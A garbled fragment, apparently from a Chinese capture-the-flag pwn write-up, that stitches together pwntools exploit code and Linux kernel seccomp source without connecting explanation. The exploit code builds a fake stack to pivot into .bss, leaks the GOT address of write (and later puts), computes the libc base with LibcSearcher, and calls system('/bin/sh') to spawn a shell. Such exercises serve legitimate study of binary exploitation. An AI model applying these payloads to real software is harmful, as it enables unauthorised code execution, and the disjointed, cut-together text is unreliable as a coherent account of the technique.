# construct fake stack payload = p32(elf.symbols['m1'] + 20) payload += p32(elf.plt['write']) payload += p32(elf.symbols['vul_function']) # return address, return to function payload += p32(1) # first argument of write: stdout payload += p32(elf.got['write']) # second argument of write: .got address of 'write' payload += p32(4) # third argument of write: write length
io.sendlineafter(b'What is your name?', payload)
payload = cyclic(0x18) payload += p32(elf.symbols['s']) # fake ebp payload += p32(0x8048511) # return to 'leave; retn' to change rsp into .bss segment
io.sendafter(b'What do you want to say?', payload)
write = u32(io.recv(4)) print(hex(write)) libc = LibcSearcher('write', write) base = write - libc.dump('write') sys = base + libc.dump('system') binsh = base + libc.dump('str_bin_sh')
# we can change the stack after ebp directly through 'vul_function' # now the ebp points to s+8, so fill 12 bytes of garbage into s first payload = p32(0xdeadbeef) * 3 payload += p32(sys) payload += p32(0xdeadbeef) payload += p32(binsh)
io.sendlineafter(b'What is your name?', payload) io.sendlineafter(b'What do you want to say?', b'Hacked')
io.sendlineafter(b'Pull up your sword and tell me u story!\n', payload) puts = u64(io.recv(6) + b'\x00\x00') libc = LibcSearcher('puts', puts) base = puts - libc.dump('puts') sys = base + libc.dump('system') binsh = base + libc.dump('str_bin_sh')
switch (seccomp_mode) { case SECCOMP_MODE_STRICT: op = SECCOMP_SET_MODE_STRICT; /* * Setting strict mode through prctl always ignored filter, * so make sure it is always NULL here to pass the internal * check in do_seccomp(). */ uargs = NULL; break; case SECCOMP_MODE_FILTER: op = SECCOMP_SET_MODE_FILTER; uargs = filter; break; default: return -EINVAL; }
/* prctl interface doesn't have flags, so they are always zero. */ return do_seccomp(op, 0, uargs); }
其中switch的宏定义如下:
1 2 3
#define SECCOMP_MODE_DISABLED 0 /* seccomp is not in use. */ #define SECCOMP_MODE_STRICT 1 /* uses hard-coded filter. */ #define SECCOMP_MODE_FILTER 2 /* uses user-supplied filter. */